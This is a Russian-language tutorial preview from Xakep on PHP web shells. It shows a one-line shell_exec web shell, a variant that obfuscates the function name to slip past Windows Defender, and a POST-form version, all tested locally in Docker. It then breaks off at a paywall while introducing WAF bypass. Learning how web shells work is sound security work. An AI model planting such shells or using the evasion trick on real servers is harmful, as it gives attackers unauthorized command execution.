Се­год­ня я рас­ска­жу о том, что такое веб‑шел­лы и как их пишут. Пос­мотрим, как при ата­ках залива­ют шелл на сер­вер, получив RCE через дру­гие уяз­вимос­ти. Так­же пос­мотрим, как логи сер­вера могут прев­ратить­ся в веб‑шелл, выпол­няющий любую коман­ду.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Веб‑шелл (web-sell, веб‑обо­лоч­ка) — инс­тру­мент для ком­фор­тно­го уда­лен­ного выпол­нения кода на сер­вере. Обыч­но это скрипт, который работа­ет как обыч­ное веб‑при­ложе­ние. Задача скрип­та — выпол­нить в сис­теме отправ­ленную поль­зовате­лем коман­ду и вер­нуть резуль­тат. Скрипт пишет­ся на язы­ке, который уста­нов­лен на кон­крет­ном веб‑сер­вере.

Ча­ще все­го это скрипт на PHP, так как PHP — самый рас­простра­нен­ный на вебе сер­верный язык прог­рамми­рова­ния. Но веб‑шелл может быть написан и на любом дру­гом язы­ке: Python, JavaScript (Node.js), Java, Go и про­чих. Кон­крет­ная плат­форма зависит от того, как скон­фигури­рован сер­вер и какие интер­пре­тато­ры уста­нов­лены.

Чи­тая статьи про веб‑шел­лы, ты чаще все­го встре­тишь фор­мулиров­ку «вре­донос­ная прог­рамма». На самом деле веб‑шел­лами поль­зуют­ся и для адми­нис­три­рова­ния сер­веров, что­бы не кон­нектить­ся все вре­мя по SSH или RDP. Вре­донос­ность появ­ляет­ся толь­ко в том слу­чае, ког­да веб‑шелл заг­ружен на сер­вер несан­кци­они­рован­но и исполь­зует­ся хакером для зах­вата кон­тро­ля.

Прос­тей­ший при­мер веб‑шел­ла на PHP:

<pre>
<?php
echo shell_exec($_GET['cmd']);
?>
</pre>

Скрипт получа­ет GET-параметр cmd и переда­ет на выпол­нение фун­кции shell_exec(). Фун­кция shell_exec() сооб­щает веб‑сер­веру, что нуж­но выпол­нить опре­делен­ный код в опе­раци­онной сис­теме. Резуль­тат выпол­нения воз­вра­щает­ся на веб‑стра­ницу. Обер­тка <pre>...</pre> нуж­на, что­бы вывод был чита­емым, а не сва­лен­ными в кучу сим­волами.

Да­вай на прак­тичес­ком при­мере пос­мотрим, как это работа­ет. Для это­го сох­рани при­мер веб‑шел­ла в файл shell.php и запус­ти Docker-кон­тей­нер, при­мон­тировав пап­ку. Выпол­ни коман­ду

docker run --rm -p 8080:80 -v $(pwd):/var/www/html php:8.2-apache

В Windows PowerShell могут пот­ребовать­ся кавыч­ки:

docker run --rm -p 8080:80 -v "${PWD}:/var/www/html" php:8.2-apache

Пос­ле запус­ка кон­тей­нера открой в бра­узе­ре такой URL:

http://localhost:8087/shell.php?cmd=ls%20-la

На стра­нице уви­дишь клас­сичес­кую работу ls -la.

Поп­робуй вмес­то ls -la коман­ды вро­де whoami, id, uname -a или любые дру­гие коман­ды опе­раци­онной сис­темы.

В Windows могут воз­никнуть проб­лемы с запус­ком. Штат­ный защит­ник, видя в фай­ле shell_exec($_GET['cmd']) или system($_GET['cmd']), клас­сифици­рует файл как вре­донос­ный и уда­ляет его. Баналь­ная обфуска­ция решит проб­лему:

<pre>
<?php
$f = "shel"."l_"."exec";
echo $f($_GET['cmd']);
?>
</pre>

GET-парамет­ры — неп­лохой вари­ант для начала, но не самый удоб­ный. Для ком­фор­тной работы поп­робуй аль­тер­нативу со стро­кой вво­да и POST-зап­росом:

<form method="POST">
<input type="text" name="cmd" placeholder="Enter command">
<button type="submit">Execute</button>
</form>
<pre>
<?php
$f = "shel"."l_"."exec";
echo $f($_POST['cmd']);
?>
</pre>

Сох­рани файл как shell2.php и про­тес­тируй http://localhost:8080/shell2.php. Теперь ты можешь ком­фор­тно отправ­лять любые коман­ды и не парить­ся по поводу того, что забыл где‑то испра­вить про­бел на %20.

 

Обход защиты

Плюс веб‑шел­ла в том, что он выпол­няет­ся в кон­тек­сте веб‑при­ложе­ния. Тебе не нуж­но соз­давать отдель­ный кон­нект, а зна­чит, отпа­дает необ­ходимость обхо­да фай­рво­ла. Но фай­рвол — это толь­ко один из спо­собов защиты.

В Docker наш про­ект пол­ностью открыт ата­кам. В реаль­ной жиз­ни на сер­вере может быть уста­нов­лен Web Application Firewall (WAF), нас­тро­енный на бло­киров­ку зап­росов, содер­жащих сис­темные коман­ды. В таких слу­чаях ата­кующе­му при­ходит­ся при­думы­вать спо­соб обфуска­ции (то есть скры­тия), который поз­волит обой­ти WAF. Пос­коль­ку тот чаще все­го работа­ет по опре­делен­ным пра­вилам, это впол­не воз­можно.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии